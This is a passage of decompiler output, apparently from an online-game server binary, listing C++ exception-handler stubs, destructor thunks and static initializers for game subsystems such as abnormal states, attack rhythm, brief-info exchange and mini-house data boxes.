_EXCEPTION_DISPOSITION __cdecl _ehhandler__startDispatcher_WinService__QAE_NVString__P6A_NXZP6AXXZ_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598D70) -------------------------------------------------------- void __usercall _L70691(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (00598D78) -------------------------------------------------------- void __usercall _L70692(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 440)); } //----- (00598D86) -------------------------------------------------------- void __usercall _L70693(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 720)); } //----- (00598D94) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1__unnamed_ItemDataBox__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598DA0) -------------------------------------------------------- void __usercall _L70790(int a1) { BTree::_BTree((BTree *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (00598DC0) -------------------------------------------------------- void __usercall _L70811(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 92)); } //----- (00598DC8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__idb_Load_ItemDataBox__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598DE0) -------------------------------------------------------- void __usercall _L71916(int a1) { BTree::_BTree((BTree *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (00598DEB) -------------------------------------------------------- void __usercall _L71917(int a1) { ItemDataBox::__unnamed::___unnamed((BinaryData *)(*(_DWORD *)(a1 - 16) + 1036)); } //----- (00598DF9) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ItemDataBox__QAE_PAD_N_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598E10) -------------------------------------------------------- void __usercall _L60484(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (00598E18) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0MapDataBox__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598E30) -------------------------------------------------------- void __usercall _L60526(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (00598E38) -------------------------------------------------------- void __usercall _L60527(int a1) { BTree::_BTree((BTree *)(*(_DWORD *)(a1 - 16) + 140)); } //----- (00598E46) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1MapDataBox__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598E50) -------------------------------------------------------- void __usercall _L56672(int a1) { CGdp::_CGdp(*(CGdp **)(a1 - 16)); } //----- (00598E58) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1CToken__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598E70) -------------------------------------------------------- void __usercall _L71033(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (00598E78) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__Read_CDataReader__QAEHPBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598E90) -------------------------------------------------------- void __usercall _L83458(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00598E98) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen___vector_Viterator___list_U__pair___CBGPAUQUEST_DATA___std__V__allocator_U__pair___CBGPAUQUEST_DATA___std___2__std__V__allocator_Viterator___list_U__pair___CBGPAUQUEST_DATA___std__V__allocator_U__pair___CBGPAUQUEST_DATA___std___2__std___3__std__IBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598EB0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert_n___vector_Viterator___list_U__pair___CBGPAUQUEST_DATA___std__V__allocator_U__pair___CBGPAUQUEST_DATA___std___2__std__V__allocator_Viterator___list_U__pair___CBGPAUQUEST_DATA___std__V__allocator_U__pair___CBGPAUQUEST_DATA___std___2__std___3__std__IAEXViterator_12_IABV3__list_U__pair___CBGPAUQUEST_DATA___std__V__allocator_U__pair___CBGPAUQUEST_DATA___std___2__2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598EC0) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Construct_n___vector_Viterator___list_U__pair___CBGPAUQUEST_DATA___std__V__allocator_U__pair___CBGPAUQUEST_DATA___std___2__std__V__allocator_Viterator___list_U__pair___CBGPAUQUEST_DATA___std__V__allocator_U__pair___CBGPAUQUEST_DATA___std___2__std___3__std__QAEXIABViterator___list_U__pair___CBGPAUQUEST_DATA___std__V__allocator_U__pair___CBGPAUQUEST_DATA___std___2__2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598ED0) -------------------------------------------------------- void __usercall _L86037(int a1) { std::list_std::allocator>>::_list_std::allocator>>((std::list,std::allocator > > *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00598EF0) -------------------------------------------------------- void __usercall _L88910(int a1) { stdext::hash_multimap>_std::allocator>>::_hash_multimap>_std::allocator>>((stdext::hash_multimap >,std::allocator > > *)(*(_DWORD *)(a1 - 16) + 28)); } //----- (00598EFB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0CQuestData__QAE_PAVCDataReader___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598F10) -------------------------------------------------------- void __usercall _L89610(int a1) { stdext::hash_multimap>_std::allocator>>::_hash_multimap>_std::allocator>>((stdext::hash_multimap >,std::allocator > > *)(*(_DWORD *)(a1 - 16) + 28)); } //----- (00598F30) -------------------------------------------------------- void __usercall _L91076(int a1) { CToken::_CToken((CToken *)(*(_DWORD *)(a1 - 16) + 1340)); } //----- (00598F3E) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1CQuestParserScript__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598F50) -------------------------------------------------------- void __usercall _L92211(int a1) { std::codecvt_base::_codecvt_base(*(std::num_get > > **)(a1 - 132)); } //----- (00598F5B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0__num_get_DV__istreambuf_iterator_DU__char_traits_D_std___std___std__QAE_I_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598F78) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Ipfx___basic_istream_DU__char_traits_D_std___std__QAE_N_N_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598F90) -------------------------------------------------------- void __usercall _L93628(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (00598F9B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Getcat___num_get_DV__istreambuf_iterator_DU__char_traits_D_std___std___std__SAIPAPBVfacet_locale_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598FB0) -------------------------------------------------------- void __usercall _L93779(int a1) { std::basic_ostream>::_Sentry_base::__Sentry_base(*(std::basic_istream >::sentry **)(a1 - 16)); } //----- (00598FB8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0sentry___basic_istream_DU__char_traits_D_std___std__QAE_AAV12__N_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00598FD0) -------------------------------------------------------- void __usercall _L94436(int a1) { std::_Lockit::__Lockit((std::_Lockit *)(a1 - 28)); } //----- (00598FD8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler____use_facet_V__num_get_DV__istreambuf_iterator_DU__char_traits_D_std___std___std___std__YAABV__num_get_DV__istreambuf_iterator_DU__char_traits_D_std___std___0_ABVlocale_0__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00599000) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___5__basic_istream_DU__char_traits_D_std___std__QAEAAV01_AAH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00599038) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler____getline_DU__char_traits_D_std__V__allocator_D_2__std__YAAAV__basic_istream_DU__char_traits_D_std___0_AAV10_AAV__basic_string_DU__char_traits_D_std__V__allocator_D_2__0_D_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00599050) -------------------------------------------------------- void __usercall _L99370(int a1) { std::locale::_locale((std::locale *)(a1 + 24)); } //----- (00599058) -------------------------------------------------------- void __usercall _L99371(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 76)); } //----- (00599060) -------------------------------------------------------- void __usercall _L99372(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 48)); } //----- (00599068) -------------------------------------------------------- void __usercall _L99373(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 48)); } //----- (00599070) -------------------------------------------------------- void __usercall _L99374(int a1) { std::locale::_locale((std::locale *)(a1 - 84)); } //----- (00599078) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__do_get___num_get_DV__istreambuf_iterator_DU__char_traits_D_std___std___std__MBE_AV__istreambuf_iterator_DU__char_traits_D_std___2_V32_0AAVios_base_2_AAHAA_N_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00599090) -------------------------------------------------------- void __usercall _L102034(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (00599098) -------------------------------------------------------- void __usercall _L102035(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 72)); } //----- (005990B0) -------------------------------------------------------- void __usercall _L101446(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (005990B8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler_____Getloctxt_DV__istreambuf_iterator_DU__char_traits_D_std___std___std__YAHAAV__istreambuf_iterator_DU__char_traits_D_std___0_0IPBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005990D0) -------------------------------------------------------- void __usercall _L103105(int a1) { std::locale::_locale((std::locale *)(a1 + 24)); } //----- (005990D8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__do_get___num_get_DV__istreambuf_iterator_DU__char_traits_D_std___std___std__MBE_AV__istreambuf_iterator_DU__char_traits_D_std___2_V32_0AAVios_base_2_AAHAAPAX_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005990F0) -------------------------------------------------------- void __usercall _L103615(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 + 8)); } //----- (005990F8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler____make_pair_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__H_std__YA_AU__pair_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__H_0_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__0_H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00599110) -------------------------------------------------------- void __usercall _L103844(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 68)); } //----- (00599118) -------------------------------------------------------- void __usercall _L103845(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 40)); } //----- (00599120) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__ParserNext_CQuestParserScript__QAEPAUSTRUCT_QSC__XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00599141) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Buynode____Tree_V___Tmap_traits_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__HU__less_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2_V__allocator_U__pair___CBV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__H_std___2__0A__std___std__IAEPAU_Node____Tree_nod_V___Tmap_traits_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__HU__less_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2_V__allocator_U__pair___CBV__basic_string(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00599150) -------------------------------------------------------- void __usercall _L105071(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00599158) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert____Tree_V___Tmap_traits_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__HU__less_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2_V__allocator_U__pair___CBV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__H_std___2__0A__std___std__IAE_AViterator_12__NPAU_Node____Tree_nod_V___Tmap_traits_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__HU__less_V__basic_string_DU__char_traits_D_std__V__allocator_D_2__std___2_V__allocator_U__pair___C(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00599170) -------------------------------------------------------- void __usercall _L104894(int a1) { if ( *(_DWORD *)(a1 - 20) & 1 ) { *(_DWORD *)(a1 - 20) &= 0xFFFFFFFEu; std::basic_ios>::_basic_ios>((std::basic_ios > *)(*(_DWORD *)(a1 - 16) + 100)); } } //----- (0059918C) -------------------------------------------------------- void __usercall _L104896(int a1) { std::basic_istream>::_basic_istream>((std::basic_istream > *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (005991B0) -------------------------------------------------------- void __usercall _L105019(int a1) { std::basic_istream>::_basic_istream>((std::basic_istream > *)(*(_DWORD *)(a1 - 16) - 92)); } //----- (005991BB) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1__basic_ifstream_DU__char_traits_D_std___std__UAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005991D0) -------------------------------------------------------- void __usercall _L106183(int a1) { std::basic_ifstream>::_vbase_destructor((std::basic_ifstream > *)(a1 - 232)); } //----- (005991DB) -------------------------------------------------------- void __usercall _L106184(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (005991E3) -------------------------------------------------------- void __usercall _L106411(int a1) { if ( *(_DWORD *)(a1 - 444) & 1 ) { *(_DWORD *)(a1 - 444) &= 0xFFFFFFFEu; std::basic_ios>::_basic_ios>((std::basic_ios > *)(a1 - 284)); } } //----- (00599205) -------------------------------------------------------- void __usercall _L106413(int a1) { std::basic_iostream>::_basic_iostream>((std::basic_iostream > *)(a1 - 356)); } //----- (00599210) -------------------------------------------------------- void __usercall _L106425(int a1) { std::basic_streambuf>::_basic_streambuf>(*(std::basic_streambuf > **)(a1 - 448)); } //----- (0059921B) -------------------------------------------------------- void __usercall _L106185(int a1) { std::basic_stringstream_std::allocator>::_vbase_destructor((std::basic_stringstream,std::allocator > *)(a1 - 368)); } //----- (00599226) -------------------------------------------------------- void __usercall _L106186(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 72)); } //----- (0059922E) -------------------------------------------------------- void __usercall _L106188(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 400)); } //----- (00599239) -------------------------------------------------------- void __usercall _L106189(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 432)); } //----- (00599244) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__LoadConvertIDfromIndexName_CQuestParserScript__SA_NPBD_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00599250) -------------------------------------------------------- void __usercall _L66132(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 76)); } //----- (00599258) -------------------------------------------------------- void __usercall _L66133(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 104)); } //----- (00599260) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__Final_CMD5Checksum__IAE_AV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00599270) -------------------------------------------------------- void __usercall _L66623(int a1) { CMD5Checksum::_CMD5Checksum((CMD5Checksum *)(a1 - 108)); } //----- (00599278) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__GetMD5_CMD5Checksum__SA_AV__basic_string_DU__char_traits_D_std__V__allocator_D_2__std__PAEI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00599282) -------------------------------------------------------- void __usercall _L11871(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 40)); } //----- (0059928A) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Xlen__String_base_std__QBEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00599294) -------------------------------------------------------- void __usercall _L12841(int a1) { std::codecvt_base::_codecvt_base(*(std::num_get > > **)(a1 - 20)); } //----- (0059929C) -------------------------------------------------------- void __usercall _L12842(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(*(_DWORD *)(a1 - 20) + 24)); } //----- (005992A7) -------------------------------------------------------- void __usercall _L12843(int a1) { std::_Lockit::__Lockit((std::_Lockit *)(a1 - 16)); } //----- (005992B9) -------------------------------------------------------- void __usercall _L13072(int a1) { std::codecvt_base::_codecvt_base(*(std::num_get > > **)(a1 - 16)); } //----- (005992C1) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0_Locimp_locale_std__AAE__N_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005992CB) -------------------------------------------------------- void __usercall _L13087(int a1) { std::_Lockit::__Lockit(*(std::_Lockit **)(a1 - 16)); } //----- (005992D3) -------------------------------------------------------- void __usercall _L13088(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (005992DE) -------------------------------------------------------- void __usercall _L13089(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(*(_DWORD *)(a1 - 16) + 32)); } //----- (005992E9) -------------------------------------------------------- void __usercall _L13090(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(*(_DWORD *)(a1 - 16) + 60)); } //----- (005992F4) -------------------------------------------------------- void __usercall _L13091(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(*(_DWORD *)(a1 - 16) + 88)); } //----- (00599309) -------------------------------------------------------- void __usercall _L13116(int a1) { std::_Lockit::__Lockit((std::_Lockit *)(a1 - 16)); } //----- (00599311) -------------------------------------------------------- void __usercall _L13117(int a1) { operator delete(*(void **)(a1 - 20)); } //----- (00599325) -------------------------------------------------------- void __usercall _L8663(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (0059932D) -------------------------------------------------------- void __usercall _L8664(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00599335) -------------------------------------------------------- void __usercall _L8665(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 148)); } //----- (0059934A) -------------------------------------------------------- void __usercall _L8700(int a1) { exception::_exception(*(exception **)(a1 - 16)); } //----- (00599352) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0runtime_error_std__QAE_ABV01__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00599360) -------------------------------------------------------- void __cdecl _E4() { AbnormalStateContainer::ActorCluster::ActorCluster(&actorcluster); atexit(_E5_0); } //----- (00599380) -------------------------------------------------------- void __cdecl _E7() { memset(&clearabstate, 0, sizeof(clearabstate)); atexit(_E8_2); } //----- (005993A0) -------------------------------------------------------- void __cdecl _E10() { AbnormalStateContainer::AbnormalStateList::AbnormalStateList(&abstatetemplate); atexit(_E11_1); } //----- (005993C0) -------------------------------------------------------- void __cdecl _E1() { AbnormalStateDictionary::SubAbState::SubAbState(&dic_subabstate); atexit(_E2); } //----- (005993E0) -------------------------------------------------------- void __cdecl _E4_0() { AbnormalStateDictionary::AbState::AbState(&dic_abstate); atexit(_E5_1); } //----- (00599400) -------------------------------------------------------- void __cdecl _E3() { NPCAction::Manager::Manager(&g_AbstateShelter); atexit(_E4_60); } //----- (00599420) -------------------------------------------------------- void __cdecl _E4_1() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"AmpersandCommandLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&AmpersandCommandLog - "AmpersandCommandLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); unk_6162A0 = 0; EraseOldLogList("AmpersandCommandLog"); unk_616424 = 1; atexit(_E5_2); } //----- (00599470) -------------------------------------------------------- void __cdecl _E7_0() { AmpersandCommand::AmpersandCommand(&cmd); atexit(_E8_3); } //----- (00599490) -------------------------------------------------------- void __cdecl _E1_0() { AttackRhythm::AttackRhythm_Melee::AttackRhythm_Melee(&attrhythm_melee); atexit(_E2_0); } //----- (005994B0) -------------------------------------------------------- void __cdecl _E4_2() { AttackRhythm::AttackRhythm_Range::AttackRhythm_Range(&attrhythm_range); atexit(_E5_3); } //----- (005994D0) -------------------------------------------------------- void __cdecl _E7_1() { AttackRhythm::AttackRhythm_Mob::AttackRhythm_Mob(&attrhythm_mob); atexit(_E8_4); } //----- (005994F0) -------------------------------------------------------- void __cdecl _E4_3() { BattleObjectGroup::BattleObjectList::BattleObjectList(&btlobjlist); atexit(_E5_5); } //----- (00599510) -------------------------------------------------------- void __cdecl _E7_2() { atexit(_E8_5); } //----- (00599520) -------------------------------------------------------- void __cdecl _E10_0() { SkillEffectApply::SkillBlastEffectContainer::SkillBlastEffectContainer(&skilleffectapplyer); atexit(_E11_3); } //----- (00599540) -------------------------------------------------------- void __cdecl _E13() { SkillEffectApply::SkillDamageSender::SkillDamageSender(&skilldamagesender); atexit(_E14_1); } //----- (00599560) -------------------------------------------------------- void __cdecl _E16() { _iobuf *v0; // esi@1 v0 = fopen("Dbg.txt", "a"); fprintf(v0, "%s\n"); fclose(v0); EraseOldLogList("SkillDamageLog"); atexit(_E17_2); } //----- (005995B0) -------------------------------------------------------- void __cdecl _E1_1() { atexit(_E2_1); } //----- (005995C0) -------------------------------------------------------- void __cdecl _E1_2() { BlockDistribute::BlockingDistributeList::BlockingDistributeList(&g_BlockingDistributeList); atexit(_E2_2); } //----- (005995E0) -------------------------------------------------------- void __cdecl _E4_4() { BlockDistribute::BlockDistributeManager::BlockDistributeManager(&blockdistmanager); atexit(_E5_6); } //----- (00599600) -------------------------------------------------------- void __cdecl _E5() { BriefInfoDelete::BriefInfoDelete(&briefinfodelete); atexit(_E6_11); } //----- (00599620) -------------------------------------------------------- void __cdecl _E8() { BriefInformationAbstate::BriefInformationAbstate(&briefInformationAbstate); atexit(_E9_8); } //----- (00599640) -------------------------------------------------------- void __cdecl _E11() { CalculateBroadcastDistance::CalculateBroadcastDistance(&broadcastdistance); atexit(_E12_3); } //----- (00599660) -------------------------------------------------------- void __cdecl _E14() { BriefInfoExchanger::BriefInfoExchangeCharacter::BriefInfoExchangeCharacter(&briefchar); atexit(_E15_3); } //----- (00599680) -------------------------------------------------------- void __cdecl _E17() { BriefInfoExchanger::BriefInfoExchangeMob::BriefInfoExchangeMob(&briefmob); atexit(_E18_3); } //----- (005996A0) -------------------------------------------------------- void __cdecl _E20() { BriefInfoExchanger::BriefInfoExchangeDoor::BriefInfoExchangeDoor(&briefdoor); atexit(_E21_2); } //----- (005996C0) -------------------------------------------------------- void __cdecl _E23() { BriefInfoExchanger::BriefInfoExchangeEffect::BriefInfoExchangeEffect(&briefeffect); atexit(_E24_2); } //----- (005996E0) -------------------------------------------------------- void __cdecl _E26() { BriefInfoExchanger::BriefInfoExchangeItem::BriefInfoExchangeItem(&briefitem); atexit(_E27_2); } //----- (00599700) -------------------------------------------------------- void __cdecl _E29() { BriefInfoExchanger::BriefInfoExchangeMagicField::BriefInfoExchangeMagicField(&briefmagfld); atexit(_E30_2); } //----- (00599720) -------------------------------------------------------- void __cdecl _E32() { BriefInfoExchanger::BriefInfoExchangeMiniHouse::BriefInfoExchangeMiniHouse(&briefminihouse); atexit(_E33_2); } //----- (00599740) -------------------------------------------------------- void __cdecl _E35() { BriefInfoExchanger::BriefInfoExchangeAbstate::BriefInfoExchangeAbstate(&briefabstate_char); atexit(_E36_2); } //----- (00599760) -------------------------------------------------------- void __cdecl _E38() { BriefInfoExchanger::BriefInfoExchangeAbstate::BriefInfoExchangeAbstate(&briefabstate_mob); atexit(_E39_2); } //----- (00599780) -------------------------------------------------------- void __cdecl _E3_0() { PassiveMasteryVariable::PassiveMasteryVariable(&pmv); atexit(_E4_61); } //----- (005997A0) -------------------------------------------------------- void __cdecl _E4_5() { CharClassManager::CharClassManager(&charclassmanager); atexit(_E5_7); } //----- (005997C0) -------------------------------------------------------- void __cdecl _E3_1() { DataFromOtherMachineList::DataFromOtherMachineList(&listofdatafromothermachine); atexit(_E4_62); } //----- (005997E0) -------------------------------------------------------- void __cdecl _E1_3() { ChargedItemEffectDataBox::ChargedItemEffectDataBox(&chargedbuffdatabox); atexit(_E2_3); } //----- (00599800) -------------------------------------------------------- void __cdecl _E4_6() { ChargedItemEffectDataBox::ChargedItemEffectDataBox(&minihousedatabox); atexit(_E5_9); } //----- (00599820) -------------------------------------------------------- void __cdecl _E7_3() { ChargedItemEffectDataBox::ChargedItemEffectDataBox(&minihousefurnituredatabox); atexit(_E8_6); } //----- (00599840) 